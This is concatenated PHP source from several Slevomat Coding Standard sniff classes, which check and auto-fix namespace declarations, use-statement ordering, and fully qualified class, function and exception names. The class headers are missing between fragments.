NamespaceHelper::getAllNamespacesPointers($phpcsFile); $referencedNames = ReferencedNameHelper::getAllReferencedNames($phpcsFile, $openTagPointer); $include = array_flip($this->getNormalizedInclude()); $exclude = array_flip($this->getNormalizedExclude()); foreach ($referencedNames as $referencedName) { $name = $referencedName->getNameAsReferencedInFile(); $namePointer = $referencedName->getStartPointer(); if (!$this->isValidType($referencedName)) { continue; } if (NamespaceHelper::isFullyQualifiedName($name)) { continue; } if (NamespaceHelper::hasNamespace($name)) { continue; } if ($namespacePointers === []) { continue; } $canonicalName = $this->isCaseSensitive() ? $name : strtolower($name); $useStatements = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $namePointer); if (array_key_exists(UseStatement::getUniqueId($referencedName->getType(), $canonicalName), $useStatements)) { $fullyQualifiedName = NamespaceHelper::resolveName($phpcsFile, $name, $referencedName->getType(), $namePointer); if (NamespaceHelper::hasNamespace($fullyQualifiedName)) { continue; } } if ($include !== [] && !array_key_exists($canonicalName, $include)) { continue; } if (array_key_exists($canonicalName, $exclude)) { continue; } $fix = $phpcsFile->addFixableError( sprintf($this->getNotFullyQualifiedMessage(), $tokens[$namePointer]['content']), $namePointer, self::CODE_NON_FULLY_QUALIFIED, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $namePointer, NamespaceHelper::NAMESPACE_SEPARATOR); $phpcsFile->fixer->endChangeset(); } } /** * @return list */ protected function getNormalizedInclude(): array { $this->normalizedInclude ??= $this->normalizeNames($this->include); return $this->normalizedInclude; } /** * @return list */ private function getNormalizedExclude(): array { $this->normalizedExclude ??= $this->normalizeNames($this->exclude); return $this->normalizedExclude; } /** * @param list $names * @return list */ private function normalizeNames(array $names): array { $names = SniffSettingsHelper::normalizeArray($names); if (!$this->isCaseSensitive()) { $names = array_map(static fn (string $name): string => strtolower($name), $names); } return $names; } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } // If there are any 'use group' statements then we cannot sort and fix the file. $groupUsePointer = TokenHelper::findNext($phpcsFile, T_OPEN_USE_GROUP, $openTagPointer); if ($groupUsePointer !== null) { return; } $fileUseStatements = UseStatementHelper::getFileUseStatements($phpcsFile); foreach ($fileUseStatements as $useStatements) { $lastUse = null; foreach ($useStatements as $useStatement) { if ($lastUse === null) { $lastUse = $useStatement; } else { $order = $this->compareUseStatements($useStatement, $lastUse); if ($order < 0) { // The use statements are not ordered correctly. Go through all statements and if any are multi-part then // we report the problem but cannot fix it, because this would lose the secondary parts of the statement. $fixable = true; $tokens = $phpcsFile->getTokens(); foreach ($useStatements as $statement) { $nextBreaker = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_COMMA], $statement->getPointer()); if ($tokens[$nextBreaker]['code'] === T_COMMA) { $fixable = false; break; } } $errorParameters = [ sprintf( 'Use statements should be sorted alphabetically. The first wrong one is %s.', $useStatement->getFullyQualifiedTypeName(), ), $useStatement->getPointer(), self::CODE_INCORRECT_ORDER, ]; if (!$fixable) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if ($fix) { $this->fixAlphabeticalOrder($phpcsFile, $useStatements); } return; } $lastUse = $useStatement; } } } } /** * @param array $useStatements */ private function fixAlphabeticalOrder(File $phpcsFile, array $useStatements): void { /** @var UseStatement $firstUseStatement */ $firstUseStatement = reset($useStatements); /** @var UseStatement $lastUseStatement */ $lastUseStatement = end($useStatements); $lastSemicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $lastUseStatement->getPointer()); $firstPointer = $firstUseStatement->getPointer(); $tokens = $phpcsFile->getTokens(); $commentsBefore = []; foreach ($useStatements as $useStatement) { $pointerBeforeUseStatement = TokenHelper::findPreviousNonWhitespace($phpcsFile, $useStatement->getPointer() - 1); if (!in_array($tokens[$pointerBeforeUseStatement]['code'], Tokens::$commentTokens, true)) { continue; } $commentAndWhitespace = TokenHelper::getContent($phpcsFile, $pointerBeforeUseStatement, $useStatement->getPointer() - 1); if (StringHelper::endsWith($commentAndWhitespace, $phpcsFile->eolChar . $phpcsFile->eolChar)) { continue; } $commentStartPointer = in_array($tokens[$pointerBeforeUseStatement]['code'], TokenHelper::INLINE_COMMENT_TOKEN_CODES, true) ? CommentHelper::getMultilineCommentStartPointer($phpcsFile, $pointerBeforeUseStatement) : $tokens[$pointerBeforeUseStatement]['comment_opener']; $commentsBefore[$useStatement->getPointer()] = TokenHelper::getContent( $phpcsFile, $commentStartPointer, $pointerBeforeUseStatement, ); if ($firstPointer === $useStatement->getPointer()) { $firstPointer = $commentStartPointer; } } uasort($useStatements, fn (UseStatement $a, UseStatement $b): int => $this->compareUseStatements($a, $b)); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $firstPointer, $lastSemicolonPointer); FixerHelper::add( $phpcsFile, $firstPointer, implode($phpcsFile->eolChar, array_map(static function (UseStatement $useStatement) use ($phpcsFile, $commentsBefore): string { $unqualifiedName = NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($useStatement->getFullyQualifiedTypeName()); $useTypeName = UseStatement::getTypeName($useStatement->getType()); $useTypeFormatted = $useTypeName !== null ? sprintf('%s ', $useTypeName) : ''; $commentBefore = ''; if (array_key_exists($useStatement->getPointer(), $commentsBefore)) { $commentBefore = $commentsBefore[$useStatement->getPointer()]; if (!StringHelper::endsWith($commentBefore, $phpcsFile->eolChar)) { $commentBefore .= $phpcsFile->eolChar; } } if ($unqualifiedName === $useStatement->getNameAsReferencedInFile()) { return sprintf('%suse %s%s;', $commentBefore, $useTypeFormatted, $useStatement->getFullyQualifiedTypeName()); } return sprintf( '%suse %s%s as %s;', $commentBefore, $useTypeFormatted, $useStatement->getFullyQualifiedTypeName(), $useStatement->getNameAsReferencedInFile(), ); }, $useStatements)), ); $phpcsFile->fixer->endChangeset(); } private function compareUseStatements(UseStatement $a, UseStatement $b): int { if (!$a->hasSameType($b)) { $order = [ UseStatement::TYPE_CLASS => 1, UseStatement::TYPE_FUNCTION => $this->psr12Compatible ? 2 : 3, UseStatement::TYPE_CONSTANT => $this->psr12Compatible ? 3 : 2, ]; return $order[$a->getType()] <=> $order[$b->getType()]; } $aNameParts = explode(NamespaceHelper::NAMESPACE_SEPARATOR, $a->getFullyQualifiedTypeName()); $bNameParts = explode(NamespaceHelper::NAMESPACE_SEPARATOR, $b->getFullyQualifiedTypeName()); $minPartsCount = min(count($aNameParts), count($bNameParts)); for ($i = 0; $i < $minPartsCount; $i++) { $comparison = $this->compare($aNameParts[$i], $bNameParts[$i]); if ($comparison === 0) { continue; } return $comparison; } return count($aNameParts) <=> count($bNameParts); } private function compare(string $a, string $b): int { if ($this->caseSensitive) { return strcmp($a, $b); } return strcasecmp($a, $b); } } */ public function register(): array { return [ T_OPEN_USE_GROUP, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { $phpcsFile->addError( 'Group use declaration is disallowed, use single use for every import.', $usePointer, self::CODE_DISALLOWED_GROUP_USE, ); } } */ public array $ignoredAnnotationNames = []; /** * @return array */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); $this->ignoredAnnotationNames = SniffSettingsHelper::normalizeArray($this->ignoredAnnotationNames); foreach ($annotations as $annotation) { $identifierTypeNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), IdentifierTypeNode::class); $annotationName = $annotation->getName(); foreach ($identifierTypeNodes as $typeHintNode) { $typeHint = $typeHintNode->name; $lowercasedTypeHint = strtolower($typeHint); if ( TypeHintHelper::isSimpleTypeHint($lowercasedTypeHint) || TypeHintHelper::isSimpleUnofficialTypeHints($lowercasedTypeHint) || !TypeHelper::isTypeName($typeHint) || TypeHintHelper::isTypeDefinedInAnnotation($phpcsFile, $docCommentOpenPointer, $typeHint) ) { continue; } if (in_array($annotationName, $this->ignoredAnnotationNames, true)) { continue; } $fullyQualifiedTypeHint = TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $docCommentOpenPointer, $typeHint); if ($fullyQualifiedTypeHint === $typeHint) { continue; } $fix = $phpcsFile->addFixableError(sprintf( 'Class name %s in %s should be referenced via a fully qualified name.', $fullyQualifiedTypeHint, $annotationName, ), $annotation->getStartPointer(), self::CODE_NON_FULLY_QUALIFIED_CLASS_NAME); if (!$fix) { continue; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); $fixedDocComment = AnnotationHelper::fixAnnotation( $parsedDocComment, $annotation, $typeHintNode, new IdentifierTypeNode($fullyQualifiedTypeHint), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $parsedDocComment->getOpenPointer(), $parsedDocComment->getClosePointer(), $fixedDocComment, ); $phpcsFile->fixer->endChangeset(); } $constantFetchNodes = AnnotationHelper::getAnnotationNodesByType($annotation->getNode(), ConstFetchNode::class); foreach ($constantFetchNodes as $constantFetchNode) { $isClassConstant = $constantFetchNode->className !== ''; $typeHint = $isClassConstant ? $constantFetchNode->className : $constantFetchNode->name; if ($typeHint === 'self') { continue; } $fullyQualifiedTypeHint = $isClassConstant ? NamespaceHelper::resolveClassName($phpcsFile, $typeHint, $docCommentOpenPointer) : NamespaceHelper::resolveName($phpcsFile, $typeHint, ReferencedName::TYPE_CONSTANT, $docCommentOpenPointer); if ($fullyQualifiedTypeHint === $typeHint) { continue; } $fix = $phpcsFile->addFixableError(sprintf( '%s name %s in %s should be referenced via a fully qualified name.', $isClassConstant ? 'Class' : 'Constant', $fullyQualifiedTypeHint, $annotationName, ), $annotation->getStartPointer(), self::CODE_NON_FULLY_QUALIFIED_CLASS_NAME); if (!$fix) { continue; } $fixedConstantFetchNode = PhpDocParserHelper::cloneNode($constantFetchNode); if ($isClassConstant) { $fixedConstantFetchNode->className = $fullyQualifiedTypeHint; } else { $fixedConstantFetchNode->name = $fullyQualifiedTypeHint; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); $fixedDocComment = AnnotationHelper::fixAnnotation( $parsedDocComment, $annotation, $constantFetchNode, $fixedConstantFetchNode, ); $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $parsedDocComment->getOpenPointer(), $parsedDocComment->getClosePointer(), $fixedDocComment, ); $phpcsFile->fixer->endChangeset(); } } } } */ public array $specialExceptionNames = []; /** @var list */ public array $ignoredNames = []; /** @var list|null */ private ?array $normalizedSpecialExceptionNames = null; /** @var list|null */ private ?array $normalizedIgnoredNames = null; /** * @return array */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $namespacePointers = array_reverse(NamespaceHelper::getAllNamespacesPointers($phpcsFile)); $referencedNames = ReferencedNameHelper::getAllReferencedNames($phpcsFile, $openTagPointer); foreach ($referencedNames as $referencedName) { $pointer = $referencedName->getStartPointer(); $name = $referencedName->getNameAsReferencedInFile(); $uniqueId = UseStatement::getUniqueId($referencedName->getType(), $name); $useStatements = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $pointer); if ( isset($useStatements[$uniqueId]) && $referencedName->hasSameUseStatementType($useStatements[$uniqueId]) ) { $useStatement = $useStatements[$uniqueId]; if ( in_array($useStatement->getFullyQualifiedTypeName(), $this->getIgnoredNames(), true) || ( !StringHelper::endsWith($useStatement->getFullyQualifiedTypeName(), 'Exception') && $useStatement->getFullyQualifiedTypeName() !== Throwable::class && (!StringHelper::endsWith($useStatement->getFullyQualifiedTypeName(), 'Error') || NamespaceHelper::hasNamespace( $useStatement->getFullyQualifiedTypeName(), )) && !in_array($useStatement->getFullyQualifiedTypeName(), $this->getSpecialExceptionNames(), true) ) ) { continue; } } else { $fileNamespacePointer = null; if ($namespacePointers !== []) { foreach ($namespacePointers as $namespacePointer) { if ($namespacePointer < $pointer) { $fileNamespacePointer = $namespacePointer; break; } } } $fileNamespace = $fileNamespacePointer !== null ? NamespaceHelper::getName($phpcsFile, $fileNamespacePointer) : null; $canonicalName = $name; if (!NamespaceHelper::isFullyQualifiedName($name) && $fileNamespace !== null) { $canonicalName = sprintf('%s%s%s', $fileNamespace, NamespaceHelper::NAMESPACE_SEPARATOR, $name); } if ( in_array($canonicalName, $this->getIgnoredNames(), true) || ( !StringHelper::endsWith($name, 'Exception') && $name !== Throwable::class && (!StringHelper::endsWith($canonicalName, 'Error') || NamespaceHelper::hasNamespace($canonicalName)) && !in_array($canonicalName, $this->getSpecialExceptionNames(), true) ) ) { continue; } } if (NamespaceHelper::isFullyQualifiedName($name)) { continue; } $fix = $phpcsFile->addFixableError(sprintf( 'Exception %s should be referenced via a fully qualified name.', $name, ), $pointer, self::CODE_NON_FULLY_QUALIFIED_EXCEPTION); if (!$fix) { continue; } $fullyQualifiedName = NamespaceHelper::resolveClassName($phpcsFile, $name, $pointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $referencedName->getStartPointer(), $referencedName->getEndPointer(), $fullyQualifiedName); $phpcsFile->fixer->endChangeset(); } } /** * @return list */ private function getSpecialExceptionNames(): array { $this->normalizedSpecialExceptionNames ??= SniffSettingsHelper::normalizeArray($this->specialExceptionNames); return $this->normalizedSpecialExceptionNames; } /** * @return list */ private function getIgnoredNames(): array { $this->normalizedIgnoredNames ??= SniffSettingsHelper::normalizeArray($this->ignoredNames); return $this->normalizedIgnoredNames; } } isConstant(); } } */ protected function getNormalizedInclude(): array { $include = parent::getNormalizedInclude(); if ($this->includeSpecialFunctions) { array_push($include, ...FunctionHelper::SPECIAL_FUNCTIONS); } return $include; } protected function getNotFullyQualifiedMessage(): string { return 'Function %s() should be referenced via a fully qualified name.'; } protected function isCaseSensitive(): bool { return false; } protected function isValidType(ReferencedName $name): bool { return $name->isFunction(); } } */ public function register(): array { return [ T_USE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { if (!UseStatementHelper::isImportUse($phpcsFile, $usePointer)) { return; } $endPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $usePointer + 1); $commaPointer = TokenHelper::findNext($phpcsFile, T_COMMA, $usePointer + 1, $endPointer); if ($commaPointer === null) { return; } $phpcsFile->addError('Multiple used types per use statement are forbidden.', $commaPointer, self::CODE_MULTIPLE_USES_PER_LINE); } } */ public function register(): array { return [ T_NAMESPACE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $namespacePointer */ public function process(File $phpcsFile, $namespacePointer): void { $tokens = $phpcsFile->getTokens(); $pointerAfterNamespace = TokenHelper::findNextEffective($phpcsFile, $namespacePointer + 1); if ($tokens[$pointerAfterNamespace]['code'] === T_NS_SEPARATOR) { return; } $this->checkWhitespaceAfterNamespace($phpcsFile, $namespacePointer); $this->checkDisallowedContentBetweenNamespaceNameAndSemicolon($phpcsFile, $namespacePointer); $this->checkDisallowedBracketedSyntax($phpcsFile, $namespacePointer); } private function checkWhitespaceAfterNamespace(File $phpcsFile, int $namespacePointer): void { $tokens = $phpcsFile->getTokens(); $whitespacePointer = $namespacePointer + 1; if ($tokens[$whitespacePointer]['code'] !== T_WHITESPACE) { $phpcsFile->addError( 'Expected one space after namespace statement.', $namespacePointer, self::CODE_INVALID_WHITESPACE_AFTER_NAMESPACE, ); return; } if ($tokens[$whitespacePointer]['content'] === ' ') { return; } $errorMessage = sprintf('Expected one space after namespace statement, found %d.', strlen($tokens[$whitespacePointer]['content'])); $fix = $phpcsFile->addFixableError($errorMessage, $namespacePointer, self::CODE_INVALID_WHITESPACE_AFTER_NAMESPACE); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $whitespacePointer, ' '); $phpcsFile->fixer->endChangeset(); } private function checkDisallowedContentBetweenNamespaceNameAndSemicolon(File $phpcsFile, int $namespacePointer): void { if (array_key_exists('scope_opener', $phpcsFile->getTokens()[$namespacePointer])) { return; } $namespaceNameStartPointer = TokenHelper::findNextEffective($phpcsFile, $namespacePointer + 1); $namespaceNameEndPointer = TokenHelper::findNextExcluding( $phpcsFile, TokenHelper::NAME_TOKEN_CODES, $namespaceNameStartPointer + 1, ) - 1; /** @var int $namespaceSemicolonPointer */ $namespaceSemicolonPointer = TokenHelper::findNextLocal($phpcsFile, T_SEMICOLON, $namespaceNameEndPointer + 1); if ($namespaceNameEndPointer + 1 === $namespaceSemicolonPointer) { return; } $fix = $phpcsFile->addFixableError( 'Disallowed content between namespace name and semicolon.', $namespacePointer, self::CODE_DISALLOWED_CONTENT_BETWEEN_NAMESPACE_NAME_AND_SEMICOLON, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $namespaceNameEndPointer, $namespaceSemicolonPointer); $phpcsFile->fixer->endChangeset(); } private function checkDisallowedBracketedSyntax(File $phpcsFile, int $namespacePointer): void { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('scope_opener', $tokens[$namespacePointer])) { return; } $fix = $phpcsFile->addFixableError( 'Bracketed syntax for namespaces is disallowed.', $namespacePointer, self::CODE_DISALLOWED_BRACKETED_SYNTAX, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $tokens[$namespacePointer]['scope_opener'], ';'); FixerHelper::replace($phpcsFile, $tokens[$namespacePointer]['scope_closer'], ''); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_NAMESPACE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $namespacePointer */ public function process(File $phpcsFile, $namespacePointer): void { $this->linesCountBeforeNamespace = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeNamespace); $this->linesCountAfterNamespace = SniffSettingsHelper::normalizeInteger($this->linesCountAfterNamespace); $this->checkLinesBeforeNamespace($phpcsFile, $namespacePointer); $this->checkLinesAfterNamespace($phpcsFile, $namespacePointer); } private function checkLinesBeforeNamespace(File $phpcsFile, int $namespacePointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $pointerBeforeNamespace */ $pointerBeforeNamespace = TokenHelper::findPreviousNonWhitespace($phpcsFile, $namespacePointer - 1); $whitespaceBeforeNamespace = ''; $isInlineCommentBefore = (bool) preg_match('~^(?://|#)(.*)~', $tokens[$pointerBeforeNamespace]['content']); if ($tokens[$pointerBeforeNamespace]['code'] === T_OPEN_TAG) { $whitespaceBeforeNamespace .= substr($tokens[$pointerBeforeNamespace]['content'], strlen('eolChar; } if ($pointerBeforeNamespace + 1 !== $namespacePointer) { $whitespaceBeforeNamespace .= TokenHelper::getContent($phpcsFile, $pointerBeforeNamespace + 1, $namespacePointer - 1); } $actualLinesCountBeforeNamespace = substr_count($whitespaceBeforeNamespace, $phpcsFile->eolChar) - 1; if ($actualLinesCountBeforeNamespace === $this->linesCountBeforeNamespace) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before namespace statement, found %d.', $this->linesCountBeforeNamespace, $this->linesCountBeforeNamespace === 1 ? '' : 's', $actualLinesCountBeforeNamespace, ), $namespacePointer, self::CODE_INCORRECT_LINES_COUNT_BEFORE_NAMESPACE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($tokens[$pointerBeforeNamespace]['code'] === T_OPEN_TAG) { FixerHelper::replace($phpcsFile, $pointerBeforeNamespace, 'eolChar), ); } FixerHelper::removeBetween($phpcsFile, $pointerBeforeNamespace, $namespacePointer); for ($i = 0; $i <= $this->linesCountBeforeNamespace; $i++) { $phpcsFile->fixer->addNewline($pointerBeforeNamespace); } $phpcsFile->fixer->endChangeset(); } private function checkLinesAfterNamespace(File $phpcsFile, int $namespacePointer): void { if (array_key_exists('scope_opener', $phpcsFile->getTokens()[$namespacePointer])) { return; } /** @var int $namespaceSemicolonPointer */ $namespaceSemicolonPointer = TokenHelper::findNextLocal($phpcsFile, T_SEMICOLON, $namespacePointer + 1); $pointerAfterWhitespaceEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $namespaceSemicolonPointer + 1); if ($pointerAfterWhitespaceEnd === null) { return; } $whitespaceAfterNamespace = TokenHelper::getContent($phpcsFile, $namespaceSemicolonPointer + 1, $pointerAfterWhitespaceEnd - 1); $actualLinesCountAfterNamespace = substr_count($whitespaceAfterNamespace, $phpcsFile->eolChar) - 1; if ($actualLinesCountAfterNamespace === $this->linesCountAfterNamespace) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after namespace statement, found %d.', $this->linesCountAfterNamespace, $this->linesCountAfterNamespace === 1 ? '' : 's', $actualLinesCountAfterNamespace, ), $namespacePointer, self::CODE_INCORRECT_LINES_COUNT_AFTER_NAMESPACE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $namespaceSemicolonPointer, $pointerAfterWhitespaceEnd); for ($i = 0; $i <= $this->linesCountAfterNamespace; $i++) { $phpcsFile->fixer->addNewline($namespaceSemicolonPointer); } $phpcsFile->fixer->endChangeset(); } } */ public array $specialExceptionNames = []; /** @var list */ public array $ignoredNames = []; public bool $allowPartialUses = true; /** * If empty, all namespaces are required to be used * * @var list */ public array $namespacesRequiredToUse = []; public bool $allowFullyQualifiedNameForCollidingClasses = false; public bool $allowFullyQualifiedNameForCollidingFunctions = false; public bool $allowFullyQualifiedNameForCollidingConstants = false; /** @var list|null */ private ?array $normalizedSpecialExceptionNames = null; /** @var list|null */ private ?array $normalizedIgnoredNames = null; /** @var list|null */ private ?array $normalizedNamespacesRequiredToUse = null; /** * @return array */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $namespacePointers = NamespaceHelper::getAllNamespacesPointers($phpcsFile); if ($namespacePointers === [] && !$this->allowWhenNoNamespace) { return; } $tokens = $phpcsFile->getTokens(); $references = $this->getReferences($phpcsFile, $openTagPointer); $definedClassesIndex = []; foreach (ClassHelper::getAllNames($phpcsFile) as $definedClassPointer => $definedClassName) { $definedClassesIndex[strtolower($definedClassName)] = NamespaceHelper::resolveClassName( $phpcsFile, $definedClassName, $definedClassPointer, ); } $definedFunctionsIndex = array_flip( array_map( static fn (string $functionName): string => strtolower($functionName), FunctionHelper::getAllFunctionNames($phpcsFile), ), ); $definedConstantsIndex = array_flip(ConstantHelper::getAllNames($phpcsFile)); $classReferencesIndex = []; $classReferences = array_filter( $references, static fn (stdClass $reference): bool => $reference->source === self::SOURCE_CODE && $reference->isClass, ); foreach ($classReferences as $classReference) { $classReferencesIndex[strtolower($classReference->name)] = NamespaceHelper::resolveName( $phpcsFile, $classReference->name, $classReference->type, $classReference->startPointer, ); } $referenceErrors = []; foreach ($references as $reference) { $useStatements = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $reference->startPointer); $name = $reference->name; /** @var int $startPointer */ $startPointer = $reference->startPointer; $canonicalName = NamespaceHelper::normalizeToCanonicalName($name); $unqualifiedName = NamespaceHelper::getUnqualifiedNameFromFullyQualifiedName($name); if (in_array(strtolower($unqualifiedName), ['true', 'false', 'null'], true)) { continue; } $collidingUseStatementUniqueId = UseStatement::getUniqueId($reference->type, $unqualifiedName); $isPartialUse = false; foreach ($useStatements as $useStatement) { $useStatementName = $useStatement->getAlias() ?? $useStatement->getNameAsReferencedInFile(); if (strpos($name, $useStatementName . '\\') === 0) { $isPartialUse = true; break; } } $isFullyQualified = NamespaceHelper::isFullyQualifiedName($name) || ($namespacePointers === [] && NamespaceHelper::hasNamespace($name) && !$isPartialUse); $isGlobalFallback = !$isFullyQualified && !NamespaceHelper::hasNamespace($name) && $namespacePointers !== [] && !array_key_exists(UseStatement::getUniqueId($reference->type, $name), $useStatements); $isGlobalFunctionFallback = false; if ($reference->isFunction && $isGlobalFallback) { $isGlobalFunctionFallback = !array_key_exists(strtolower($reference->name), $definedFunctionsIndex) && function_exists( $reference->name, ); } $isGlobalConstantFallback = false; if ($reference->isConstant && $isGlobalFallback) { $isGlobalConstantFallback = !array_key_exists($reference->name, $definedConstantsIndex) && defined($reference->name); } if ($isFullyQualified) { if ($reference->isClass && $this->allowFullyQualifiedNameForCollidingClasses) { $lowerCasedUnqualifiedClassName = strtolower($unqualifiedName); if ( array_key_exists($lowerCasedUnqualifiedClassName, $definedClassesIndex) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName( $definedClassesIndex[$lowerCasedUnqualifiedClassName], ) ) { continue; } if ( array_key_exists($lowerCasedUnqualifiedClassName, $classReferencesIndex) && $name !== $classReferencesIndex[$lowerCasedUnqualifiedClassName] ) { continue; } if ( array_key_exists($collidingUseStatementUniqueId, $useStatements) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName( $useStatements[$collidingUseStatementUniqueId]->getFullyQualifiedTypeName(), ) ) { continue; } } elseif ($reference->isFunction && $this->allowFullyQualifiedNameForCollidingFunctions) { $lowerCasedUnqualifiedFunctionName = strtolower($unqualifiedName); if (array_key_exists($lowerCasedUnqualifiedFunctionName, $definedFunctionsIndex)) { continue; } if ( array_key_exists($collidingUseStatementUniqueId, $useStatements) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName( $useStatements[$collidingUseStatementUniqueId]->getFullyQualifiedTypeName(), ) ) { continue; } } elseif ($reference->isConstant && $this->allowFullyQualifiedNameForCollidingConstants) { if (array_key_exists($unqualifiedName, $definedConstantsIndex)) { continue; } if ( array_key_exists($collidingUseStatementUniqueId, $useStatements) && $canonicalName !== NamespaceHelper::normalizeToCanonicalName( $useStatements[$collidingUseStatementUniqueId]->getFullyQualifiedTypeName(), ) ) { continue; } } } if ($isFullyQualified || $isGlobalFunctionFallback || $isGlobalConstantFallback) { if ($isFullyQualified && !$this->isRequiredToBeUsed($name)) { continue; } $isExceptionByName = StringHelper::endsWith($name, 'Exception') || $name === '\Throwable' || (StringHelper::endsWith($name, 'Error') && !NamespaceHelper::hasNamespace($name)) || in_array($canonicalName, $this->getSpecialExceptionNames(), true); $inIgnoredNames = in_array($canonicalName, $this->getIgnoredNames(), true); if ($isExceptionByName && !$inIgnoredNames && $this->allowFullyQualifiedExceptions) { continue; } if ( $isFullyQualified && !NamespaceHelper::hasNamespace($name) && $namespacePointers === [] ) { $label = sprintf( $reference->isConstant ? 'Constant %s' : ($reference->isFunction ? 'Function %s()' : 'Class %s'), $name, ); $fix = $phpcsFile->addFixableError(sprintf( '%s should not be referenced via a fully qualified name, but via an unqualified name without the leading \\, because the file does not have a namespace and the type cannot be put in a use statement.', $label, ), $startPointer, self::CODE_REFERENCE_VIA_FULLY_QUALIFIED_NAME_WITHOUT_NAMESPACE); if ($fix) { $phpcsFile->fixer->beginChangeset(); if ($reference->source === self::SOURCE_ANNOTATION) { $fixedDocComment = AnnotationHelper::fixAnnotation( $reference->parsedDocComment, $reference->annotation, $reference->nameNode, new IdentifierTypeNode(substr($reference->name, 1)), ); FixerHelper::change( $phpcsFile, $reference->parsedDocComment->getOpenPointer(), $reference->parsedDocComment->getClosePointer(), $fixedDocComment, ); } elseif ($reference->source === self::SOURCE_ANNOTATION_CONSTANT_FETCH) { $fixedDocComment = AnnotationHelper::fixAnnotation( $reference->parsedDocComment, $reference->annotation, $reference->constantFetchNode, new ConstFetchNode(substr($reference->name, 1), $reference->constantFetchNode->name), ); FixerHelper::change( $phpcsFile, $reference->parsedDocComment->getOpenPointer(), $reference->parsedDocComment->getClosePointer(), $fixedDocComment, ); } else { FixerHelper::replace( $phpcsFile, $startPointer, substr($tokens[$startPointer]['content'], 1), ); } $phpcsFile->fixer->endChangeset(); } } else { $shouldBeUsed = NamespaceHelper::hasNamespace($name); if (!$shouldBeUsed) { if ($reference->isFunction) { $shouldBeUsed = $isFullyQualified ? !$this->allowFullyQualifiedGlobalFunctions : !$this->allowFallbackGlobalFunctions; } elseif ($reference->isConstant) { $shouldBeUsed = $isFullyQualified ? !$this->allowFullyQualifiedGlobalConstants : !$this->allowFallbackGlobalConstants; } else { $shouldBeUsed = !$this->allowFullyQualifiedGlobalClasses; } } if (!$shouldBeUsed) { continue; } $referenceErrors[] = (object) [ 'reference' => $reference, 'canonicalName' => $canonicalName, 'isGlobalConstantFallback' => $isGlobalConstantFallback, 'isGlobalFunctionFallback' => $isGlobalFunctionFallback, ]; } } elseif (!$this->allowPartialUses) { if (NamespaceHelper::isQualifiedName($name)) { $phpcsFile->addError(sprintf( 'Partial use statements are not allowed, but referencing %s found.', $name, ), $startPointer, self::CODE_PARTIAL_USE); } } } if (count($referenceErrors) === 0) { return; } $alreadyAddedUses = [ UseStatement::TYPE_CLASS => [], 